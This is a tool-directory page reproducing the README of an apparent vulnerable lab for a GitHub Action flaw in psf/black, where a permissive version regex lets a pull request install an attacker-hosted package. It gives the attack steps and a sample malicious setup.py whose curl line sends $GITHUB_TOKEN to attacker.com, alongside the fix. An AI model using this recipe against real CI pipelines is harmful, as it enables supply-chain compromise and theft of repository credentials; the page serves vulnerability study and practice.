Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-31900-lab — CVE-2026-31900 Vulnerable Lab - psf/black GitHub Action RCE | Kitploit
Tools/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
Vulnerability AnalysisExploitationWeb SecuritySupply Chain SecurityLearning & EducationLabs & Practice
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 Vulnerable Lab - psf/black GitHub Action RCE

View Repository
1165 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31900 — Vulnerable Lab

psf/black GitHub Action RCE via Insecure Regex Validation

FieldDetail
CVECVE-2026-31900
CVSS8.7 (High)
AdvisoryGHSA-v53h-f6m7-xcgm
Affectedpsf/black GitHub Action < v26.3.0
TypeRCE via Supply Chain (pull_request trigger)

Vulnerability

The use_pyproject: true option reads the Black version from pyproject.toml. The regex used to validate the version string is overly permissive due to re.IGNORECASE, allowing characters like space, @, :, and / — exactly what's needed for a PEP 508 URL requirement.

Vulnerable Regex

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

Attack Vector

  1. Fork this repository
  2. Modify pyproject.toml in your fork:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. Open a Pull Request → the pull_request workflow trigger fires
  2. The Action reads the malicious version from pyproject.toml, bypasses regex validation
  3. pip installs the attacker-controlled package → setup.py executes arbitrary code

Malicious Package setup.py Example

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

Credential Theft Impact

  • $GITHUB_TOKEN (CI runner token)
  • Any secrets injected into the workflow environment

Fix

Upgrade to psf/black v26.3.0 or pin the version explicitly in the workflow YAML instead of using use_pyproject: true.

Lab Structure

root@kitploit:~
.github/workflows/black.yml   ← Vulnerable workflow (use_pyproject: true)
pyproject.toml                ← Legitimate config (main branch)
app.py                        ← Sample Python file being formatted
Download Tool